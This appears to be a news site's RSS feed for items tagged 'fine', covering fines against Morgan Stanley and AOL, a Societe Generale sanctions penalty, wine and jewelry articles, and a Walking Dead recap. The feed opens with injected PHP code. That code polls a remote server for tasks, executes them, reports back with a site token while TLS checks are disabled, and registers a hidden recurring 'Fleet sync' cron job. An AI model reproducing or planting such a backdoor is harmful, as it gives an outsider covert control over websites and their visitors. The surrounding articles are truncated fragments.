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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); fine – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 07:52:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png fine – Brief News https://briefnews.eu 32 32 $35M fine for Morgan Stanley after unencrypted, unwiped hard drives are auctioned https://briefnews.eu/35m-fine-for-morgan-stanley-after-unencrypted-unwiped-hard-drives-are-auctioned/ https://briefnews.eu/35m-fine-for-morgan-stanley-after-unencrypted-unwiped-hard-drives-are-auctioned/#respond Wed, 21 Sep 2022 07:52:47 +0000 https://briefnews.eu/35m-fine-for-morgan-stanley-after-unencrypted-unwiped-hard-drives-are-auctioned/
$ 35M fine for Morgan Stanley after unencrypted, unwiped hard drives are auctioned

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Morgan Stanley on Tuesday agreed to pay the Securities and Exchange Commission (SEC) a $ 35 million penalty for data security lapses that included unencrypted hard drives from decommissioned data centers being resold on auction sites without first being wiped.

The SEC action said that the improper disposal of thousands of hard drives starting in 2016 was part of an “extensive failure” over a five-year period to safeguard customers’ data as required by federal regulations. The agency said that the failures also included the improper disposal of hard drives and backup tapes when decommissioning servers in local branches. In all, the SEC said data for 15 million customers was exposed.

“Astonishing failures”

“MSSB’s failures in this case are astonishing,” said Gurbir S. Grewal, director of the SEC’s enforcement division, using the initials for Morgan Stanley Smith Barney, the full name of the firm. “Customers entrust their personal information to financial professionals with the understanding and expectation that it will be protected, and MSSB fell woefully short in doing so.”

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]]> https://briefnews.eu/35m-fine-for-morgan-stanley-after-unencrypted-unwiped-hard-drives-are-auctioned/feed/ 0 Most doctors took financial hit in 1st year of COVID, but top earners did just fine https://briefnews.eu/most-doctors-took-financial-hit-in-1st-year-of-covid-but-top-earners-did-just-fine/ https://briefnews.eu/most-doctors-took-financial-hit-in-1st-year-of-covid-but-top-earners-did-just-fine/#respond Thu, 01 Sep 2022 16:47:56 +0000 https://briefnews.eu/most-doctors-took-financial-hit-in-1st-year-of-covid-but-top-earners-did-just-fine/ Shutterstock - Huge file

For most physicians in Canada, the first full year of the pandemic delivered a financial gut punch, according to an exclusive CBC News data analysis. But for a select group of highly paid doctors, it was a very different story.

]]> https://briefnews.eu/most-doctors-took-financial-hit-in-1st-year-of-covid-but-top-earners-did-just-fine/feed/ 0 Amateur buyers of fine Burgundy fear a speculative bubble https://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-3/ https://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-3/#respond Sun, 06 Jan 2019 23:39:15 +0000 http://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-3/ Investors are looking beyond Bordeaux

]]> https://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-3/feed/ 0 Amateur buyers of fine Burgundy fear a speculative bubble https://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-2/ https://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-2/#respond Sun, 06 Jan 2019 19:24:54 +0000 http://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble-2/ Investors are looking beyond Bordeaux

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EVERY YEAR Berry Bros & Rudd, Britain’s oldest wine merchant, issues a pocket-sized price list. Reading old copies makes amateurs of quality quaff want to time-travel. In 1909 a case of 12 bottles of Domaine de la Romanée-Conti 1891, Burgundy’s most famous Grand Cru, cost 180 shillings (about £1,000, or $ 1,300, in today’s money). In its historic London store, which opened in 1698, a single 18-year-old bottle of similar quality now sells for £25,000.

Fine wine is expensive to store, and its rarity and high transaction costs make it—oddly enough—an illiquid asset. Even so, its appreciation with age and perceived ability to diversify portfolios have made it popular with investors over the past two decades. The value of wine exchanged yearly between consumers, connoisseurs and collectors—the secondary market—has quadrupled to $ 4bn since 2000, says Justin Gibbs of Liv-ex, a wine-trading platform. He reckons that just…

]]> https://briefnews.eu/amateur-buyers-of-fine-burgundy-fear-a-speculative-bubble/feed/ 0 23 beautiful fine jewelry gifts she’ll love — all under $1,000 https://briefnews.eu/23-beautiful-fine-jewelry-gifts-shell-love-all-under-1000/ https://briefnews.eu/23-beautiful-fine-jewelry-gifts-shell-love-all-under-1000/#respond Wed, 12 Dec 2018 04:26:25 +0000 http://briefnews.eu/23-beautiful-fine-jewelry-gifts-shell-love-all-under-1000/ IP gift guide banner

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Fine jewelry — pieces made with high-quality materials like solid 14-karat gold or precious stones (or both) and a high-level of craftsmanship — costs a lot of money, understandably so when you consider the process. The high price tag on these products makes them reserved for special occasions, like the holidays. So, if there’s someone in your life who you want to splurge on this season — be it your wife, mother, sister, or friend — a piece of jewelry is a thoughtful gift she’ll be sure to appreciate.

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Whether you’re looking to dazzle her with diamonds, go for more minimal metals, or pick a statement piece covered in stones, we’ve got you covered. There are plenty of fine jewelry pieces you can get for $ 1,000 or less this season, and she’ll love to add any of them to her collection.

Keep scrolling for 23 pieces of fine jewelry you can get her for $ 1,000 or less. 

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A delicate circle bracelet

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Circle Bracelet, available at Vrai & Oro, $ 200

A delicate circle bracelet has a timeless appeal. Whether worn on its own or layered with others on her wrist, this will become an everyday essential.

 

A unique black diamond ring

Catbird

Maleficent Ring, available at Catbird, $ 364

Available in 14k yellow and rose gold

A direct contrast to Catbird’s brighter Sleeping Beauty Ring, this ring has a darker, more mysterious look, but the black diamond set between two white ones is particularly striking.

 

Earrings with a unique shape and stones

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WWAKE Opal Circle Earrings, available at Nordstrom, $ 534

The sleek design of these 14k gold earrings is accentuated by the opal stones, which cast a beautiful glimmer in the light.

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Verizon-owned AOL helped advertisers track children online in order to serve targeted ads, in violation of a federal children’s privacy law, and has agreed to pay a fine of $ 4.95 million, New York Attorney General Barbara Underwood announced today.

“The Attorney General’s Office found that AOL conducted billions of auctions for ad space on hundreds of websites the company knew were directed to children under the age of 13,” Underwood’s announcement said. “Through these auctions, AOL collected, used, and disclosed personal information from the websites’ users in violation of COPPA [Children’s Online Privacy Protection Act], enabling advertisers to track and serve targeted ads to young children.”

In addition to paying the largest-ever fine for violating COPPA, the Verizon-owned company “has agreed to adopt comprehensive reforms to protect children from improper tracking,” the announcement said.

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]]> https://briefnews.eu/verizon-aol-helped-advertisers-track-kids-online-must-now-pay-5m-fine/feed/ 0 Conor McGregor has been banned from driving for 6 months and given a $1,137 fine for speeding https://briefnews.eu/conor-mcgregor-has-been-banned-from-driving-for-6-months-and-given-a-1137-fine-for-speeding/ https://briefnews.eu/conor-mcgregor-has-been-banned-from-driving-for-6-months-and-given-a-1137-fine-for-speeding/#respond Thu, 29 Nov 2018 23:00:59 +0000 http://briefnews.eu/conor-mcgregor-has-been-banned-from-driving-for-6-months-and-given-a-1137-fine-for-speeding/ Conor McGregor caught speeding.JPGReuters

  • Conor McGregor banned from driving for six months after speeding at 154kph.
  • The UFC fighter was stopped in his light blue Range Rover near Dublin, in October last year.
  • The judge questioned why he did not face a more serious charge.

Conor McGregor has been banned from driving for six months and fined €1,000 ($ 1,137) for speeding.

McGregor, 30, admitted driving at 154kph (96mph) in a 100kph zone when he was stopped in his light blue Range Rover in Kildare, near Dublin, in October last year.

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]]> https://briefnews.eu/conor-mcgregor-has-been-banned-from-driving-for-6-months-and-given-a-1137-fine-for-speeding/feed/ 0 French bank pays huge US fine for doing business in Cuba, Iran https://briefnews.eu/french-bank-pays-huge-us-fine-for-doing-business-in-cuba-iran/ https://briefnews.eu/french-bank-pays-huge-us-fine-for-doing-business-in-cuba-iran/#respond Tue, 20 Nov 2018 10:34:40 +0000 http://briefnews.eu/french-bank-pays-huge-us-fine-for-doing-business-in-cuba-iran/ Societe Generale has agreed to pay $ 1.34 billion to US federal and state authorities to settle a pending legal dispute over violations of US trade sanctions against Iran and other countries.

One of France’s largest banks has also pledged to pay $ 95 million to resolve another dispute over violations of anti-money laundering regulations.

“We acknowledge and regret the shortcomings that were identified in these settlements, and have cooperated with the US authorities to resolve these matters,” the group CEO Frederic Oudea said in a statement.

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“These resolutions, following on the heels of the resolution of other investigations earlier this year, allow the bank to close a chapter on our most important historical disputes.”

The bank, informally known as SocGen, reportedly violated the Trading with the Enemy Act by illegally transferring billions of dollars to partners registered or located in countries targeted by US embargos, including Iran, Sudan, Cuba and Libya.

The banking giant said the settlement wouldn’t have an extra impact on its results for the current financial year. SocGen had previously agreed to $ 1.3 billion (€1.14 billion) in the US and France to settle investigations over transactions with Libya, and over the suspected rigging of Libor, a benchmark rate tied to finance products and debts. Last year, the bank had paid €963 million ($ 1.1 billion) over another dispute with the Libyan Investment Authority.

According to the Manhattan US Attorney’s office, the latest fine imposed on SocGen is the second biggest financial penalty issued on a bank for breaching US sanctions. In 2015, French international banking group BNP Paribas agreed to pay $ 8.9 billion to settle a probe on sanctions violations.

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]]> https://briefnews.eu/french-bank-pays-huge-us-fine-for-doing-business-in-cuba-iran/feed/ 0 Walking Dead Recap: Another Fine Mess — Plus, Was That Rick's Last Stand?!? https://briefnews.eu/walking-dead-recap-another-fine-mess-plus-was-that-ricks-last-stand/ https://briefnews.eu/walking-dead-recap-another-fine-mess-plus-was-that-ricks-last-stand/#respond Mon, 29 Oct 2018 08:18:59 +0000 http://briefnews.eu/walking-dead-recap-another-fine-mess-plus-was-that-ricks-last-stand/ Warning: The following contains spoilers from Sunday’s The Walking Dead. If you haven’t watched yet, make like a Savior and beat it.

Getting the world started over looked an awful lot like the end of the line for Rick in Sunday’s episode of The Walking Dead. But the AMC drama wouldn’t — couldn’t! — kill off departing leading man Andrew Lincoln before his embattled protagonist got in at least a face-off or two with the imminently-arriving Whisperers, would it? Read on to find out how dire were the straits in which Rick was left, then we can debate the wisdom of the show trying to make us think that “The Obliged” would mark his last stand.

the-walking-dead-season 9 episode 4 recap michonne negan‘I’M GONNA MAKE THINGS RIGHT’ | After an intro in which we learned that Michonne was dealing with the doldrums of house-playing and charter-writing by sneaking out at night to whack walkers, we cut to Maggie, arming herself with a crowbar before leaving the Hilltop to avenge Glenn’s murder. When Jesus failed to distract her from her mission with a new letter from Georgie — and seriously, how is anybody managing to be pen pals when there are no mail carriers? — he took a more direct approach. Rick had been wrong to spare Negan, Jesus said. That hadn’t been his call to make. But was she sure that offing the jailbird was really her call to make? “I am,” she insisted. “I’ll be back when it’s done.”

Meanwhile, Rick learned from Eugene that an overnight storm had annihilated an upstream levy, thereby dooming the bridge once and for all. It was no longer safe to even work on repairing it. But at least Eugene had a little good news, too: Herds he’d named after Shakespeare characters (Tybalt and Cordelia) showed no signs of merging. Still, he felt bad that he wasn’t able to do more to save the bridge. If only he’d read more books, he said. Different books… Hey, Rick told him. The brainiac got them where they are, and “after everything, that’s everything.” As if determined to kick Rick when he was down, fate then delivered another blow: Carol was taking her Kingdommers home. As for the Saviors at the Sanctuary, “It’s up to them to figure out who they want to be.”

the-walking-dead-season 9 episode 4 recap michonne negan‘IF SHE KILLS NEGAN, HE BECOMES A MARTYR!’ | Hope there’s aspirin at the camp, because if Rick didn’t need a double dose already, he surely did after Jerry relayed Jesus’ message that Maggie was en route to Alexandria with murder in her eyes. When Daryl overheard his frenemy radio Alexandria to warn them not to let Glenn’s widow past the gate without an escort, he offered to give him a lift… to nowhere, it turned out. When Rick realized that Daryl wasn’t taking him to Alexandria, they got into another of their boys-will-be-boys brawls, this one landing them in a ginormous hole. While trapped, they finally talked it out, sorta. Daryl said that he was fine with Maggie killing Negan, just like he was fine with the Oceansiders exacting their revenge against the Saviors (which was news to Rick). “I’d die for you, and I would’ve died for Carl,” Daryl concluded. “But you’re chasing something for him that ain’t meant to be, man.”

Back in Alexandria, Michonne learned from Nora (who?) that Negan was refusing to eat. “The hunger strike ends today,” Michonne told the prisoner upon arriving at his cell with a sandwich. Thing was, Negan was perfectly willing to chow down — provided she stuck around and chatted him up. (Guess beard-growing would be kind of a dull pastime while incarcerated.) After hearing about her day, Negan exclaimed, “Damn, that sounds more boring than my day!” And, in short order, he theorized that he and Michonne were the same. “Behind walls, bars, we die,” he said. What’s more, much as he was relieved that his wife had passed away, a part of her was relieved that she’d lost her son Andre. “Because you know all he woulda done was make you weak.” Outraged, Michonne took away his lunch and stormed out.

the-walking-dead-season 9 episode 4 recap michonne negan‘I FORGIVE YOU, ANNE, WHATEVER YOU HAVE TO DO’ | At the Heaps, Anne stole a kiss from an unconscious and tied-up Gabriel as a walker affixed to a hand dolly argh’d from beneath the bucket on its head. When the preacher awakened, the erstwhile Jadis explained, “There’s only one place left for me to go, and you’re the price of admission.” But as she lowered the walker toward him — the zombie’s bucket now removed, of course — Gabriel apologized for pushing her away and offered his forgiveness. Finally, Anne couldn’t go through with turning him. Instead, she knocked him out again, untied him and left him to wake up in a crate with a note that read, “If you want to go fast, go alone. If you want to go far, go together. I need to go fast.”

Back at the campsite, Carol and the Kingdommers were about to take off when up snuck the Saviors, led by Jed, brandishing a gun he’d swiped from Alden. Seemed just as Daryl and Maggie had, he’d figured out that the women of Oceanside had been killing their loved ones’ killers. Now, he said, “they’re gonna get what’s coming to ’em.” And no way was Carol gonna stand in their way. She wasn’t the boss lady anymore, Jed sneered. “You’re a weak little woman who got in a lucky shot.” (Clearly, he was unfamiliar with The Legend of Carol Peletiere!) Though Carol lowered her weapon and stepped aside rather than risk a shootout, she still lashed out at Jed after he took her keys, and before we knew it, Rick and Daryl could hear the gunfire all the way in their hole. Which was bad to begin with, it being a sign of trouble and all. But moreover, it would draw the herds!

the-walking-dead-season 9 episode 4 recap michonne negan‘I LIVE FOR THE LIVING’ | After cooling off, Michonne returned to Negan’s cell, where he apologized for saying what he had about her son. She clearly hadn’t been ready to hear that they were the same. Only they weren’t, she retorted. Sure, “we do what we need to… but you get a kick out of it!” She, on the other hand, was going to make it a better world for her daughter. At that, a lightbulb went off over Negan’s head: That’s what she was afraid of — ending up like him with everyone she cared about gone! Ultimately, she wound up getting the prisoner to eat and also giving him indigestion by revealing that his precious Lucille was still out there somewhere. He was so upset to hear that that he mistook himself for the Incredible Hulk and started punching stone walls.

Back at the hole in which Rick and Daryl were stuck, walkers started falling in, which made climbing out all the more difficult. Not so difficult that Rick didn’t manage to do it, but difficult nonetheless. And conveniently, when he reached the top of the hole, there were no walkers around to grasp or chomp at him. For a hot minute, it looked as if Daryl might not make it to safety. But the odds of him meeting his maker are about as good as him washing his hair. Once they were both above ground again, Rick mounted a runaway horse to lead the herd away from the camp. Why not just lead them to the bridge? Daryl asked. It’d crumble under the weight and dispatch the lot of ’em. Because they needed the bridge, Rick insisted. So off he rode.

‘BE SAFE’ | While a storybook Michonne read Judith made her wonder if she really was like Negan — of course, a bat would have to feature prominently in Game Day! — Rick wound up trapped between the two herds. When his horse got spooked and threw him, he was impaled on a slab of concrete. And as the hour drew to a close, he not only wasn’t able to get up or away, he lost consciousness. With two herds mere steps away from him, the show clearly wanted us to fear for his life. But do any us really believe that Rick is going to be done in without a s—-ton of fair warning? Mm, I think not. So what was the point of this? Aside from that questionable choice, what did you think of “The Obliged”? Though I’ve liked the season more than most commenters thus far, even I had to admit that this episode felt it had an excess of fake peril.

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